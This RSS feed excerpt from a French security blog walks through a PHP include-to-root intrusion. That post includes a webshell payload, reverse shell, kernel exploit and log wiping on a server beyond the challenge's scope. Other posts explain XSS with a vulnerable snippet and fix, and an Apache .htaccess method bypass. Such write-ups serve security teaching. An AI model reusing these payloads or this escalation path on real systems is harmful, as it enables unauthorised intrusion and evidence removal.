		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=713</guid>
		<description><![CDATA[Il y a quelques jours, je suis tombé sur un challenge de hack PHP. J&#8217;arrive sur une page avec une URL du type www.site.com/index.php?page=main.php,  qui ressemble étrangement à la célèbre faille include. En effet, quelques tests le démontrent. Autre part sur le site, on trouve une page protégée par un .htaccess. Pour le bypasser, on [...]]]></description>
			<content:encoded><![CDATA[<p>Il y a quelques jours, je suis tombé sur un challenge de hack PHP. J&rsquo;arrive sur une page avec une URL du type <code>www.site.com/index.php?page=main.php</code>,  qui ressemble étrangement à la célèbre faille include. En effet, quelques tests le démontrent. Autre part sur le site, on trouve une page protégée par un .htaccess. Pour le bypasser, on utilise naturellement cette faille include (ou bien <a href="http://www.segmentationfault.fr/securite-informatique/contourner-htaccess-limit-get-post/">cette autre méthode</a>). Mais ce n&rsquo;est pas tout. Outre le fait qu&rsquo;on ne puisse pas inclure de page distante (directive <code>allow_url_include</code> activée), l&rsquo;administrateur n&rsquo;a pas du tout protégé cette faille include. On peut donc inclure tous les fichiers locaux accessibles&#8230;<span id="more-713"></span></p>
<h3>Il était une fois une include non protégée&#8230;</h3>
<p>Je me lance donc dans l&rsquo;exploration de l&rsquo;arborescence en récupérant quelques fichiers intéressants. Commepar exemple /proc/version, qui indique que le serveur tourne sous une Ubuntu basée sur un kernel 2.6.25. Je regarde également  une partie de la configuration Apache dans /etc/apache2/apache2.conf, la liste des utilisateurs dans /etc/passwd. /etc/shadow est bien évidemment non accessible car Apache n&rsquo;est pas lancé par le root. Mais sachant qu&rsquo;un <a href="http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html">exploit</a> touchant les Linux non patchés a récemment été <a href="http://www.milw0rm.com/exploits/9435">publié</a>,  je me dis qu&rsquo;il doit certainement être possible de rooter le serveur à partir de là. Si j&rsquo;arrive à exécuter des commandes sur le serveur avec les droits d&rsquo;Apache, devenir root ne devrait pas être dur en utilisant cet exploit&#8230;</p>
<p>Je cherche donc un moyen d&rsquo;utiliser la faille include pour pouvoir exécuter du code. Je pense en particulier à l&rsquo;injection de commandes dans les logs Apache. Seul problème : ils ne sont lisibles que par le root, donc pas par Apache (il suffit de tester pour s&rsquo;en rendre compte rapidement). Où vais-je donc pouvoir injecter mes commandes&#8230; ? Quels sont les fichiers manipulés par Apache et PHP dans lesquels on peut écrire indirectement et lire ensuite ? Sur le coup, je sèche&#8230;</p>
<h3>&#8230;un site utilisant les sessions&#8230;</h3>
<p>Là, <a href="http://www.ghostsinthestack.org/">Heurs</a> et <a href="http://virtualabs.fr">Virtualabs</a> me donnent la réponse : les sessions PHP. En effet, PHP stocke les variables de session dans des fichiers (elles sont sérialisées) qui se situent dans /var/lib/php5/. Leur nom suit le format <code>sess_$PHPSESSID</code> où <code>$PHPSESSID</code> est l&rsquo;identifiant de session qui est envoyé dans le cookie, donc facilement récupérable. Et, coup de chance, il se trouve que le challenge en question utilise les sessions pour stocker l&rsquo;utilisateur courant et son mot de passe. Champs qui ne sont sont bien pas vérifiés lors de la soumission du formulaire <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>C&rsquo;est parti ! Je crée un compte bidon avec quelque chose comme <code>&lt;?php system($_GET['c']); ?&gt;</code> pour le login. Je soumet, récupère le cookie contenant l&rsquo;identifiant de session, et inclus le fichier de session correspondant. Et là, j&rsquo;obtiens une jolie backdoor PHP sur le serveur. Rudimentaire, certes, mais fonctionnelle ! A partir de là, j&rsquo;en conçois une légèrement plus élaborée, que je place sur un de mes serveurs, et que je fais télécharger au serveur victime avec un <code>wget</code> (suivi d&rsquo;un <code>mv</code>). Je peux maintenant exécuter des commandes PHP à volonté, lire des fichiers sources, etc. Je récupère une autre backdoor permettant d&rsquo;obtenir un remote shell sur ma machine. J&rsquo;ouvre un port avec Netcat sur ma machine, j&rsquo;upload et lance la backdoor, et le tour est joué.</p>
<h3>&#8230; et un kernel non patché.</h3>
<p>Je peux maintenant exécuter des commandes de façon interactive, mais toujours avec les droits d&rsquo;Apache. Je télécharge un des exploits sock_sendpage de Milw0rm, le compile sur le serveur (gcc y était installé, cool), je lance l&rsquo;exécutable généré, et bing ! Root sur le serveur <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Comme mon but n&rsquo;est pas de planter le serveur, je m&rsquo;arrête ici. Enfin je prends quand même soin de supprimer toute trace de l&rsquo;intrusion dans les logs. Et je garde un petit screenshot, pour envoyer au propriétaire du site, l&rsquo;histoire de le prévenir. Bien entendu, pour envoyer le mail j&rsquo;ai pris soin de créer un mail anonyme et de passer par un proxy, au cas où le propriétaire serait furax et menacerait de porter plainte&#8230; Heureusement, celui-ci est sympa ; il me répond rapidement et me remercie de l&rsquo;avoir prévenu. Et vous savez le comble de l&rsquo;histoire ? Ce serveur ne lui appartenait pas, il ne disposait pas lui-même des droits root <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h3>Conclusion</h3>
<p>Je crois que cette histoire (vraie, pour ceux qui douteraient) illustre plutôt bien et de façon concrète la marche à suivre employée par un attaquant afin de prendre la main sur un serveur : exploitation d&rsquo;une faille distante pour récupérer des informations, exécution de commandes dans le contexte du processus vulnérable, élévation de privilèges en utilisant un local root, et nettoyage des logs. De plus, cet exemple démontre que ce n&rsquo;est pas parce que l&rsquo;on a interdit l&rsquo;inclusion de fichiers distant que l&rsquo;on a un appel à include() sécurisé.</p>
<p>J&rsquo;insiste enfin sur le fait que ce que j&rsquo;ai réalisé ici était à la portée d&rsquo;un script kiddie pour peu qu&rsquo;il connaisse la faille, sache utiliser une backdoor PHP et compiler un exploit. Administrateurs de challenges de hack PHP, méfiez-vous : reproduire des applications vulnérables c&rsquo;est bien, mais pensez à vous protéger un minimum pour éviter le pire&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/securite-informatique/exploitation-de-faille-include-avec-les-sessions-php/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Ubiquity</title>
		<link>http://www.segmentationfault.fr/dev-web/ubiquity/</link>
		<comments>http://www.segmentationfault.fr/dev-web/ubiquity/#comments</comments>
		<pubDate>Thu, 28 Aug 2008 22:34:57 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=173</guid>
		<description><![CDATA[Nous sommes en 2008, et incapables d&#8217;insérer simplement un plan (par exemple Google Maps) dans un mail. Actuellement, tout ce que l&#8217;on peut faire, c&#8217;est créer une carte sur un service spécialisé, la publier, créer un nouveau mail sur son client mail favori, et insérer un lien vers la carte dans celui-ci. Ce n&#8217;est intuitif [...]]]></description>
			<content:encoded><![CDATA[<p>Nous sommes en 2008, et incapables d&rsquo;insérer simplement un plan (par exemple Google Maps) dans un mail. Actuellement, tout ce que l&rsquo;on peut faire, c&rsquo;est créer une carte sur un service spécialisé, la publier, créer un nouveau mail sur son client mail favori, et insérer un <strong>lien</strong> vers la carte dans celui-ci. Ce n&rsquo;est intuitif ni pour le créateur du mail ni pour celui qui devra le lire, car il faut faire une dizaine de clics avant d&rsquo;avoir l&rsquo;information voulue&#8230; C&rsquo;est ce constat triste mais véridique qui a servi de problématique de départ pour le lancement du projet Ubiquity de Mozilla.</p>
<p><span id="more-173"></span></p>
<p>L&rsquo;idée de base du projet est de fournir à tout utilisateur le pouvoir de mélanger des applications Web, d&rsquo;insérer du contenu riche provenant d&rsquo;un service A dans un autre service B. Ainsi, il devrait permettre à tout un chacun, et pas seulement les programmeurs, d&rsquo;insérer des cartes dans des champs de formulaire (donc potentiellement des webmails comme Gmail), des vidéos, des commentaires provenant d&rsquo;autres sites&#8230; Les possibilités sont illimitées.</p>
<p>Concrètement, Ubiquity se présente comme une extension Firefox. Par simple pression d&rsquo;une combinaison de touche (que l&rsquo;utilisateur peut choisir), on entre dans un mode de commande. Il suffit alors de taper la commande choisie, à la manière d&rsquo;un shell, mais en beaucoup plus simple. Autocomplétion et documentation sont intégrées.</p>
<p>Voyez plutôt la vidéo de démonstration (en Anglais) :</p>
<p style="text-align: center;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="400" height="298" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=1561578&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed type="application/x-shockwave-flash" width="400" height="298" src="http://vimeo.com/moogaloop.swf?clip_id=1561578&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Ubiquity est évolutif, c&rsquo;est à dire que l&rsquo;utilisateur peut lui ajouter des fonctionnalités non prévues initialtment, un peu à la manière des extensions — Ubiquity est donc une sorte de méta-extension.</p>
<p>Comme le dit l&rsquo;auteur de la vidéo, il s&rsquo;agit pour le moment d&rsquo;un prototype. Je l&rsquo;ai testé, et je dois dire que je suis déjà surpris, même s&rsquo;il est sûr qu&rsquo;il reste encore des choses à implémenter et à améliorer. En tout cas, je trouve le principe vraiment excellent, car je suis sur que l&rsquo;extension (une fois terminée) peut procurer un gain appréciable en temps et en ergonomie.</p>
<ul>
<li><a href="http://labs.mozilla.com/2008/08/introducing-ubiquity/" target="_blank">Présentation d&rsquo;Ubiquity</a></li>
<li><a href="https://people.mozilla.com/~avarma/ubiquity-0.1.xpi" target="_blank">Télécharger Ubiquity 0.1</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/dev-web/ubiquity/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La XSS, cette faille méconnue</title>
		<link>http://www.segmentationfault.fr/securite-informatique/la-xss-cette-faille-meconnue/</link>
		<comments>http://www.segmentationfault.fr/securite-informatique/la-xss-cette-faille-meconnue/#comments</comments>
		<pubDate>Sun, 03 Aug 2008 17:33:31 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[faille web]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=70</guid>
		<description><![CDATA[En matière de sécurité des sites Web, la XSS est sans doute la faille incontournable, tant au niveau de sa popularité auprès des hackers débutants que du nombre impressionnant de sites vulnérables. Pour s&#8217;en rendre compte, il n&#8217;y a qu&#8217;à comparer le nombre de sites vulnérables aux XSS et ceux touchés par les injections SQL [...]]]></description>
			<content:encoded><![CDATA[<p>En matière de sécurité des sites Web, la XSS est sans doute la faille incontournable, tant au niveau de sa popularité auprès des hackers débutants que du nombre impressionnant de sites vulnérables. Pour s&rsquo;en rendre compte, il n&rsquo;y a qu&rsquo;à comparer le nombre de sites vulnérables aux XSS et ceux touchés par les injections SQL — qui, rien qu&rsquo;eux, sont déjà nombreux. Cependant, contrairement aux injections SQL, les failles de type XSS ne sont pas exploitables au niveau du serveur lui-même, mais nécessitent la présence d&rsquo;un client. C&rsquo;est justement cette différence fondamentale qui, à mon avis, entraîne les gens à penser que la XSS est moins dangereuse que l&rsquo;injection SQL. Beaucoup (trop) de développeurs pensent que la XSS ne permet que de voler les cookies des visiteurs, et imaginent que pour sécuriser leur site il suffit de faire des vérifications sur leurs IP. Comme nous allons le voir, ces deux idées reçues sont complètement fausses.</p>
<p>J&rsquo;ai justement décidé de rédiger ce billet afin de sensibiliser les lecteurs aux véritables dangers qui se trouvent dans la face cachée de cet iceberg qu&rsquo;est la faille XSS. Comme mon but n&rsquo;est pas d&rsquo;aider les <em>script-kiddies</em> à exploiter cette faille, je ne donnerai pas de code ni d&rsquo;exploit tout fait. Je suppose que les lecteurs ayant quelques connaissances en JavaScript pourront tester eux-mêmes et vérifier la véracité de mes propos&#8230;<span id="more-70"></span></p>
<h3>Les « vraies » possibilités de la XSS</h3>
<p>Pour comprendre les enjeux qui se cachent derrière la faille XSS, revenons à la base : qu&rsquo;est-ce qu&rsquo;une XSS ? Les initiales XSS signifient <em>Cross Site Scripting</em>, le C ayant été remplacé par le X du fait que CSS signifie déjà <em>Cascade Style Sheets</em>. La faille XSS permet à un attaquant potentiel d&rsquo;exécuter du code (un <em>script</em>) sur le navigateur du client. Elle apparaît quand un site Web affiche des variables provenant d&rsquo;une entrée utilisateur sans les filtrer. Ainsi, le simple code PHP suivant est vulnérable :</p>
<pre>&lt;?php
echo $_GET['var'];
?&gt;</pre>
<p>En effet, un attaquant visitant cette page contrôle directement (par le biais de l&rsquo;URL) le contenu de la variable <code>$_GET['var']</code>. Il peut alors insérer du code HTML ou JavaScript, et il s&rsquo;exécutera comme s&rsquo;il faisait partie du site Web.</p>
<p>Quel intérêt ? Tout simplement le fait de pouvoir manipuler un visiteur en lui donnant un lien piégé. En cliquant sur un lien exploitant la faille XSS, le navigateur du visiteur va afficher le code HTML du site et exécuter le code JavaScript. Cela permet alors de récupérer des informations propres au visiteur, puisque tout le code est exécuté comme s&rsquo;il provenait du site original. En effet, il faut savoir que si un site X envoie par exemple un cookie à un visiteur, le site Y ne pourra pas le lire. Le fait que la XSS permette d&rsquo;injecter un script malveillant directement dans le code envoyé par X va donc autoriser ce script à récupérer des informations telles que des cookies.</p>
<p>Mais la récupération de cookie est loin d&rsquo;être la seule possibilité des XSS. A vrai dire, la XSS offre absolument toutes les possibilités qu&rsquo;offre JavaScript, puisqu&rsquo;elle permet l&rsquo;exécution de code JS arbitraire sur le navigateur. Citons quelques exemples :</p>
<ul>
<li>Vol de cookies, détournement de session</li>
<li>Accès aux mêmes privilèges que la victime</li>
<li>Accès au contenu de pages protégées (du moment que la victime peut y accéder)</li>
<li>Exécution de requêtes arbitraires en se faisant passer pour la victime</li>
<li>Espionnage de la victime, récupération de toutes les actions effectuées telles que les pages visitées, les saisies dans les formulaires — qui contiennent au passage probablement des mots de passe</li>
<li>Ouverture de fenêtres de téléchargement de logiciels (pouvant être des spywares, trojans, rootkits&#8230;) lorsque la victime surfe sur ce site auquel elle fait confiance — et par conséquent, baisse sa garde</li>
</ul>
<p>Il faut bien comprendre que la faille XSS permet à l&rsquo;attaquant d&rsquo;avoir un accès direct au navigateur de la victime, et qu&rsquo;il peut alors absolument tout faire sur le site en se faisant passer pour la victime. Si la victime est par exemple un utilisateur lambda d&rsquo;un forum, l&rsquo;attaquant pourra poster des messages sous son nom, modifier son profil, et même dans certains cas changer son mot de passe. Si la victime est l&rsquo;administrateur du forum, je vous laisse imaginer les possibilités offertes&#8230;</p>
<p>Attention, il faut cependant bien voir que la XSS ne permet pas l&rsquo;élévation de privilèges au delà de ceux de la victime, autrement dit un attaquant ne pourra pas faire plus que ne le peut sa victime. Par exemple, s&rsquo;il piège un utilisateur lambda du forum, il ne pourra pas effectuer des tâches d&rsquo;administration — à moins bien sûr qu&rsquo;une autre faille soit présente sur le site.</p>
<h3>Est-ce difficile à exploiter ?</h3>
<p>Non ! Et c&rsquo;est une raison de plus pour prendre au sérieux la menace réelle que constitue cette faille ! Concrètement, il suffit d&rsquo;avoir quelques connaissances en JavaScript pour pouvoir exploiter une faille XSS sur un site de base non protégé. De plus, la popularité grandissante d&rsquo;<em>Ajax</em> offre encore de nouvelles possibilités, puisque l&rsquo;objet XMLHttpRequest permet d&rsquo;effectuer des requêtes asynchrones sur le serveur. Cela permet d&rsquo;effectuer des requêtes en se faisant passer pour la victime tout en restant invisible. Et même si Ajax ne permet pas d&rsquo;effectuer de requêtes sur un autre serveur (les requêtes sur des serveurs autres que celui visité ne sont pas permises par le navigateur), il existe une <a href="http://blog.pascal-martin.fr/post/Requete-Ajax-Cross-domain-balise-script" target="_blank">technique</a> permettant de passer outre et d&rsquo;effectuer des requêtes <em>cross-domain</em> de façon détournée. Il devient alors possibles d&rsquo;envoyer des requêtes sur un site distant, comme par exemple le site Web de l&rsquo;attaquant.</p>
<p>Ainsi, en ayant un minimum de connaissances JavaScript, il est possible de concevoir un exploit permettant de dumper un site Web vers une base de données contrôlée par l&rsquo;attaquant, tout en se faisant passer pour un visiteur et donc en ayant accès à toutes les pages qu&rsquo;il peut voir. Ainsi, même si l&rsquo;attaquant n&rsquo;a aucune connaissance au préalable d&rsquo;un site Web et des éventuelles zones à accès réservés, il peut étudier ces dumps en off-line de façon totalement invisible puisqu&rsquo;il ne consulte jamais le serveur directement. Il pourra alors mettre au point un second exploit qui lui permettra par la suite d&rsquo;effectuer véritablement l&rsquo;attaque en effectuant des requêtes pour le compte de la victime.</p>
<h3>Les techniques qui <span style="text-decoration: underline;">ne protègent pas</span> un site contre les XSS</h3>
<p>Les pratiques suivantes ne protègent en rien un site Web contre les XSS :</p>
<ul>
<li>Vérification les IP des visiteurs authentifiés — inutile puisque le code est exécuté par la victime !</li>
<li>Protections par .htaccess — inutile puisque si la victime est authentifiée, la requête forgée pourra être exécutée</li>
<li>Utilisation de HTTPS — ne change absolument rien, JavaScript et Ajax fonctionnent très bien en HTTPS&#8230;</li>
</ul>
<p>Attention, je n&rsquo;ai pas dit que ces mesures de protections étaient complètement inutiles ; juste que <span style="text-decoration: underline;">dans le cas de la XSS</span>, elles le sont.</p>
<h3>La seule solution pour en finir avec les XSS</h3>
<p>On ne le répétera jamais assez, il faut <strong>filtrer toutes les entrées utilisateur</strong>, en particulier celles que l&rsquo;on <strong>affiche</strong> sur le site. Cela est valable pour toutes les variables envoyées par GET, POST, récupérées via les cookies, et plus généralement tout ce qui transite dns les requêtes HTTP, comme les entêtes (dont le célèbre <em>X</em>-<em>Forwarded-For</em>) donc même certaines variables du tableau <code>$_SERVER</code> de PHP. Pour être efficace, la fonction de filtrage doit :</p>
<ul>
<li>Remplacer les caractères spéciaux par leurs entités HTML correspondantes</li>
<li>Supprimer toutes les balises HTML (dont &lt;script&gt;)</li>
</ul>
<p>En fait, le deuxième point est inclus dans le premier, puisque les caractères &lt; et &gt; sont spéciaux et peuvent donc être remplacés.</p>
<p>En PHP, pour sécuriser efficacement les entrées utilisateurs contre les XSS, il faut utiliser la fonction <code>htmlentities()</code> en n&rsquo;oubliant pas de lui passer la constante <code>ENT_QUOTES</code> en deuxième argument afin de considérer les guillemets simples et doubles comme des caractères spéciaux et de les remplacer elles aussi. Un exemple :</p>
<pre>&lt;?php
echo <strong>htmlentities(</strong>$_GET['var'], <strong>ENT_QUOTES)</strong>;
?&gt;</pre>
<p>Ainsi ce code est sécurisé, contrairement au premier. L&rsquo;utilisation de cette fonction permet de sécuriser des variables affichées aussi bien entre des balises que dans des valeurs d&rsquo;attributs de balises, comme c&rsquo;est le cas dans des champs de formulaires. En effet, comme les caractères &lt;, &gt;, &lsquo; et &nbsp;&raquo; sont filtrés, il est impossible de s&rsquo;évader des champs et d&rsquo;injecter du code JavaScript.</p>
<p>Il s&rsquo;agit à ma connaissance de la seule protection valable pour sécuriser une variable contre les XSS dans toutes les conditions. L&rsquo;utilisation d&rsquo;autres fonction, comme par exemple <code>striptags()</code>, ne suffit pas dans toutes les conditions puisques les guillemets ne sont pas filtrées, laissant la possibilité d&rsquo;injecter des attributs supportant le JavaScript comme <code>onload</code>, <code>onmouseover</code>, etc.</p>
<h3>La XSS, une faille finalement pas si inoffensive que ça&#8230;</h3>
<p>Pour conclure, j&rsquo;espère vous avoir convaincu que la faille XSS représente une réelle menace, et qu&rsquo;il est très important de la prendre au sérieux. Si le filtrage des variables contre les injections SQL commence à rentrer dans les mœurs, on ne peut pas en dire autant pour les XSS. Et pourtant, cette dernière permet dans certains cas de rooter complétement un site&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/securite-informatique/la-xss-cette-faille-meconnue/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Faille dans Apache : Contourner les .htaccess avec &#171;&#160;Limit GET POST&#160;&#187;</title>
		<link>http://www.segmentationfault.fr/securite-informatique/contourner-htaccess-limit-get-post/</link>
		<comments>http://www.segmentationfault.fr/securite-informatique/contourner-htaccess-limit-get-post/#comments</comments>
		<pubDate>Tue, 26 Feb 2008 14:10:59 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Développement]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[faille web]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/secu-info/contourner-htaccess-limit-get-post/</guid>
		<description><![CDATA[Le week-end dernier, j&#8217;ai reçu un coup de fil d&#8217;un ami (Geo). Il m&#8217;annonçait qu&#8217;il avait réussi à contourner le .htaccess que j&#8217;avais placé pour sécuriser la zone admin de Ghosts In The Stack. Perplexe, je lui ai demandé comment il avait fait&#8230; et il s&#8217;avère que cela serait du à Apache, qui a tendance [...]]]></description>
			<content:encoded><![CDATA[<p>Le week-end dernier, j&rsquo;ai reçu un coup de fil d&rsquo;un ami (Geo). Il m&rsquo;annonçait qu&rsquo;il avait réussi à contourner le .htaccess que j&rsquo;avais placé pour sécuriser la zone admin de <a href="http://www.ghostsinthestack.org" target="_blank">Ghosts In The Stack</a>. Perplexe, je lui ai demandé comment il avait fait&#8230; et il s&rsquo;avère que cela serait du à Apache, qui a tendance à exécuter les requêtes qu&rsquo;il ne comprend pas comme étant des requêtes GET. Concernant les autres serveurs Web, je n&rsquo;ai pas pu tester car je n&rsquo;en ai pas d&rsquo;autres sous la main. Voici quelques éléments pour comprendre comment tirer profit de la faille, et comment éviter de se faire avoir.<span id="more-18"></span></p>
<h3>Mise en évidence de la faille</h3>
<p>Supposons que nous disposons d&rsquo;un serveur Apache local et que nous avons une page index.php très simple comme ceci :</p>
<pre>&lt;h1&gt;Bonjour !&lt;/h1&gt;</pre>
<p>Pour accéder à la page, nous accédons à l&rsquo;URL http://127.0.0.1/~trance/vuln/ avec un navigateur Web. La requête envoyée est grossièrement la suivante :</p>
<pre>GET http://127.0.0.1/~trance/vuln/ HTTP/1.1
Host: 127.0.0.1</pre>
<p>La réponse reçue comporte alors le code HTML de la page Web. Jusqu&rsquo;ici, tout est normal : Apache n&rsquo;a fait qu&rsquo;interpréter la requête GET qu&rsquo;on lui a envoyé. Maintenant, imaginez que nous envoyons une requête mal formée qui n&rsquo;est pas de type GET, comme :</p>
<pre>n1Mp0rTeKwa http://127.0.0.1/~trance/vuln/ HTTP/1.1
Host: 127.0.0.1</pre>
<p>Et là, nous constatons qu&rsquo;Apache ne fait absolument aucune différence entre cette et la requête précédente ! Il n&rsquo;y a aucune erreur ; il renvoie la même chose. A première vue, cela ne choque pas forcément, mais on s&rsquo;aperçoit assez vite que l&rsquo;on peut tirer profit de cette faille pour contourner certaines protections .htaccess.</p>
<h3>Contourner le &laquo;&nbsp;Limit GET POST&nbsp;&raquo;</h3>
<p>Dans de nombreux cas, un webmaster peut souhaiter restreindre l&rsquo;accès à un fichier ou à un dossier sur son site Web. Pour cela, il place des fichiers .htaccess. Ces fichiers modifient localement la configuration d&rsquo;Apache et utilisent une certaine syntaxe qui permet de faire des choses assez puissantes. La description de cette syntaxe est connue, et beaucoup de sites Web l&rsquo;illustrent. Certains proposent une solution simple pour protéger l&rsquo;accès à un fichier par un mot de passe. Il suffit, selon eux, de créer un .htaccess selon ce modèle :</p>
<pre>&lt;Files fichierAProteger.php&gt;

AuthUserFile /chemin/vers/.htpasswd
AuthName "Zone à accès restreint"
AuthType Basic
    &lt;Limit GET POST&gt;
    require valid-user
    &lt;/Limit&gt;
&lt;/Files&gt;</pre>
<p>Ce fichier permet d&rsquo;indiquer à Apache de refuser toute requête POST ou GET si l&rsquo;utilisateur n&rsquo;est pas identifié avec un login et un mot de passe apparaissant dans le fichier .htpasswd correspondant. En fait, peu importe qu&rsquo;il y ait de .htpasswd ; la faille ne se situe pas à ce niveau.</p>
<p>Souvenez-vous de ce que nous avons vu plus haut. Nous avons vu qu&rsquo;Apache interprétait toutes les requêtes qu&rsquo;il ne comprenait pas comme des requêtes GET. Ainsi, nous pouvons utiliser cela à notre avantage pour accéder à la page protégée sans s&rsquo;authentifier !</p>
<p>Exemple : imaginons que nous avons un .htaccess rudimentaire de ce type dans le même dossier :</p>
<pre>&lt;Limit GET POST&gt;
Deny from all
&lt;/Limit&gt;</pre>
<p>Logiquement, ce fichier est censé interdire tout accès aux pages du dossier. Le hic, c&rsquo;est que seules les requêtes GET ou POST sont concernées&#8230; Tentez d&rsquo;accéder à la page avec le navigateur : vous obtenez une erreur 403, puisque votre navigateur envoie implicitement un GET. Maintenant, envoyez une requête incorrecte avec un outil comme Netcat :</p>
<pre>n1Mp0rTeKwa  http://127.0.0.1/~trance/vuln/ HTTP/1.1</pre>
<pre>Host: 127.0.0.1</pre>
<p>Et vous obtiendrez la réponse suivante :</p>
<pre>&lt;h1&gt;Bonjour !&lt;/h1&gt;</pre>
<p>Voila donc comment contourner la protection&#8230; Simple, n&rsquo;est-ce pas ? Le pire, dans tout cela, c&rsquo;est que la majorité des webmasters protègent leurs sites de cette façon. Et j&rsquo;en faisais partie, jusqu&rsquo;à ce qu&rsquo;on me le signale <img src='http://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<h3>Correction</h3>
<p>La correction est ultra-simple : n&rsquo;utilisez pas l&rsquo;instruction &laquo;&nbsp;limit&nbsp;&raquo; quand vous voulez restreindre l&rsquo;accès à un fichier ou dossier ! Bannissez les lignes &laquo;&nbsp;&lt;Limit GET POST&gt;&nbsp;&raquo; et &laquo;&nbsp;&lt;/Limit&gt;&nbsp;&raquo; de vos fichiers .htaccess et vous éviterez ce genre de problèmes.</p>
<p>D&rsquo;ailleurs, la <a href="http://httpd.apache.org/docs/2.2/mod/core.html#limit" target="_blank">documentation d&rsquo;Apache</a> précise bien qu&rsquo;en général, il ne faut pas utiliser &lt;Limit&gt; lorsque l&rsquo;on cherche à restreindre l&rsquo;accès. Je cite : &laquo;&nbsp;<strong>In the general case, access control     directives should not be placed within a     <code class="directive">&lt;Limit&gt;</code> section.</strong>&nbsp;&raquo;</p>
<h3>Limites</h3>
<p>Un petit bémol cependant : pour le moment, nous n&rsquo;avons pas trouvé le moyen de fausser les requêtes POST en injectant des données. Ainsi, si vous avez des formulaires POST protégés par des .htaccess, ils sont <em>à priori</em> sûrs. Mais je vous conseille quand même de patcher vos .htaccess en retirant les lignes &laquo;&nbsp;&lt;Limit&gt;&nbsp;&raquo; un peu trop dangereuses&#8230;</p>
<p>D&rsquo;autre part, je suis loin d&rsquo;être un expert en configuration Apache. Il est possible qu&rsquo;il existe une option demandant à Apache de refuser systématiquement toutes les requêtes qui ne sont pas comprises. Si vous la connaissez, vous pouvez laissez un commentaire, cela m&rsquo;intéresse&#8230;</p>
<p>Merci encore à Geo pour m&rsquo;avoir averti de la présence de la faille sur GITS !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.segmentationfault.fr/securite-informatique/contourner-htaccess-limit-get-post/feed/</wfw:commentRss>
		<slash:comments>32</slash:comments>
		</item>
		<item>
		<title>Deux outils pour faciliter le développement en PHP5</title>
		<link>http://www.segmentationfault.fr/dev-web/deux-outils-pour-faciliter-le-developpement-en-php5/</link>
		<comments>http://www.segmentationfault.fr/dev-web/deux-outils-pour-faciliter-le-developpement-en-php5/#comments</comments>
		<pubDate>Fri, 11 Jan 2008 12:09:50 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Développement]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[développement]]></category>
		<category><![CDATA[framework]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[UML]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/divers/deux-outils-pour-faciliter-le-developpement-en-php5/</guid>
		<description><![CDATA[Je viens récemment de découvrir deux outils pour PHP5. Ces outils sont conçus pour faciliter la conception et le développement d&#8217;applications en PHP5, et risquent d&#8217;en intéresser plus d&#8217;un. Le premier s&#8217;appelle PHiMX et est un outil en ligne de commande pour reverser une application PHP et générer son diagramme de classes UML au format [...]]]></description>
			<content:encoded><![CDATA[<p>Je viens récemment de découvrir deux outils pour PHP5. Ces outils  sont conçus pour faciliter la conception et le développement d&rsquo;applications en PHP5, et risquent d&rsquo;en intéresser plus d&rsquo;un.<span id="more-12"></span></p>
<p>Le premier s&rsquo;appelle PHiMX et est un outil en ligne de commande pour reverser une application PHP et générer son diagramme de classes UML au format XMI. C&rsquo;est particulièrement intéressant quand on a développé une application sans prendre le temps de faire un diagramme de classes et qu&rsquo;on souhaite s&rsquo;y retrouver, ou bien quand on a généré le code PHP mais que l&rsquo;on souhaite changer d&rsquo;outil de modélisation pour migrer par exemple vers un outil libre. Le logiciel est disponible en LGPL et est installable via Pear en tapant la commande suivante :</p>
<blockquote>
<pre>pear install http://phimx.sourceforge.net/PHiMX-1.0b1.tgz</pre>
</blockquote>
<p>Rappelons que si vous n&rsquo;avez pas Pear, vous pouvez l&rsquo;installer sur la plupart des distributions Linux via le système de paquets habituel, par exemple sur Debian/Ubuntu :</p>
<blockquote>
<pre>sudo apt-get install pear</pre>
</blockquote>
